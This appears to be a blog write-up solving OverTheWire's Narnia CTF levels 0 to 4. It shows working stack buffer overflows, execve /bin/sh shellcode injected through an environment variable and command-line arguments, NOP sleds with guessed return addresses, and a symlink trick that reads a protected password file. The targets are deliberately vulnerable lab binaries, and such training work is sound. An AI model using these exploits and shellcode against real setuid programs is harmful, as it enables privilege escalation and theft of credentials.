Narnia 0 - 4 (OverTheWire CTF Writeup)
Intro
Hello everyone. This will be the first of my two posts about Over The Wire’s Narnia CTF. Today i will cover how i got the solution going from level 1 to 5. Let’s jump right into it!
Note: Every time you start a new level you need to connect by using an ssh command that looks like this:
ssh narnia0@narnia.labs.overthewire.org -p 2226
and by provinding the password of the previous level. First password is
narnia0
Narnia0
All binaries for the levels are located at the root folder /narnia
and the password of each level are in /etc/narnia_pass/
.Only the user owning the flag can read it. Let’s cat out the source code of the first level:
Our objective is simple: We need to overwrite val
with the hex value 0xdeadbeef
so that the program spawns a shell. I’m assuming you already know how a buffer overflow works, anyway here’s a quick recap. Essentially because the buffer buf
is only 20 bytes long but we can insert how many characters we want, we can write past the end of the buffer and thus overwriting whatever comes after, including the variable val
.
The following python command will do the job: python -c "print('\xef\xbe\xad\xde'*40)"
This outputs the four bytes forming the word 0xdeadbeef
in reverse order becouse we are in little endian
Hovever we also need to keep the input/output pipe open to pass shell commands. We can archieve this by using a cat
trick.
narnia0@narnia:/narnia$ (python -c "print('\xef\xbe\xad\xde'*40)" && cat) | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: ᆳ
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
**********
And there’s the flag! (It’s redacted)
Narnia1
Let’s start by getting the source:
This programm will literally execute whatever is on the EGG
enviroment variable. And by this I mean that the programm will interpret whatever the bytes in the EGG
are and execute them as raw assembly instructions. Time for some shellcode! I really like the collection of shell storm.
We can assign an enviroment variable with the export
command. I tried different shellcodes and at the end this worked for me:
narnia1@narnia:/narnia$ export EGG=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
**********
Too easy?
Narnia2
You guessed it, let’s print the source!
This is a classic buffer overflow where we also have to inject our shellcode. I will show you how i debug in gdb in the more advaneced challenges. However in this case I solved it by injecting a 100 bytes nop sled, the shellcode and 50 times the return address:
narnia2@narnia:/narnia$ ./narnia2 $(python -c "print('\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'+'\x32\xd5\xff\xff'*50)")
$
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**********
The only problem here was to guess the right return address, but with a nop sled it was not far away from the one seen in gdb
Narnia3
Source again!
This seems a bit longer then the previous seen source codes, so what’s going on here?
Teoretically the content of whatever file we pass ass argument is copyied into the output file, that is hardcoded and is /dev/null
. So essentially it’s thrown away. But because of the insecure strcpy we can use a buffer overflow to also overwrite the contents of the output file. Everything we input will be used as input file but only the characters after 32 bytes(ifile length) will be interpreted as output file. We need to copy the contents of /etc/natas_pass/narnia4
in a file we can read. To make this happend I did the following:
- I created
/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
without
beeing a symlink to/etc/natas_pass/narnia4
- Executed ./narnia3 /tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
- Read the output from
/tmp/dnltrp99/out
By doing this the file/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
is used as input file(symlink to the flag) but only the last 17 bytes (/tmp/dnltrp99/out
) are used as output.
narnia3@narnia:/$ cd /tmp
narnia3@narnia:/tmp$ mkdir dnltrp99
narnia3@narnia:/tmp$ cd dnltrp99
narnia3@narnia:/tmp/dnltrp99$ mkdir DTDTDTDTDTDTDTDTDT
narnia3@narnia:/tmp/dnltrp99$ cd DTDTDTDTDTDTDTDTDT
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT$ mkdir tmp
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT$ cd tmp
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp$ mkdir dnltrp99
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp$ cd dnltrp99
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99$ ln -s "/etc/narnia_pass/narnia4" "out"
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99$ ls
out
narnia3@narnia:/tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99$ cd /narnia
narnia3@narnia:/narnia$ ./narnia3 /tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
error opening /tmp/dnltrp99/out
narnia3@narnia:/narnia$ cd /tmp/dnltrp99
narnia3@narnia:/tmp/dnltrp99$ touch out
narnia3@narnia:/tmp/dnltrp99$ cd /narnia
narnia3@narnia:/narnia$ ./narnia3 /tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
error opening /tmp/dnltrp99/out
narnia3@narnia:/narnia$ cd /tmp/dnltrp99
narnia3@narnia:/tmp/dnltrp99$ ls
DTDTDTDTDTDTDTDTDT out
narnia3@narnia:/tmp/dnltrp99$ chmod 777 out
narnia3@narnia:/tmp/dnltrp99$ cd /narnia
narnia3@narnia:/narnia$ ./narnia3 /tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/out
copied contents of /tmp/dnltrp99/DTDTDTDTDTDTDTDTDT/tmp/dnltrp99/ou to a safer place... (/tmp/dnltrp99/ou)
narnia3@narnia:/narnia$ cat /tmp/dnltrp99/out
*FLAGHERE*
(.PT narnia3@narnia:/narnia$
Note: you have to manually create the path a folder at the time. Don’t forget to create the output file in
/tmp/dnltrp99
and assigning the right permissions (writeable by everyone)
Narnia4
I won’t show you the source here because i solved this level exactly like Narnia2. Standard buffer overflow with nop sled, shellcode and repeated return address. The following worked for me:
narnia4@narnia:/narnia$ ./narnia4 $(python -c "print('\x90'*200+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'+'\x70\xd4\xff\xff'*50)")
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
**********
As you can see, I just used a slightly longer NOP sled and obviously the injected return address changed.
Stay tuned ‘cause the real challenge starts now!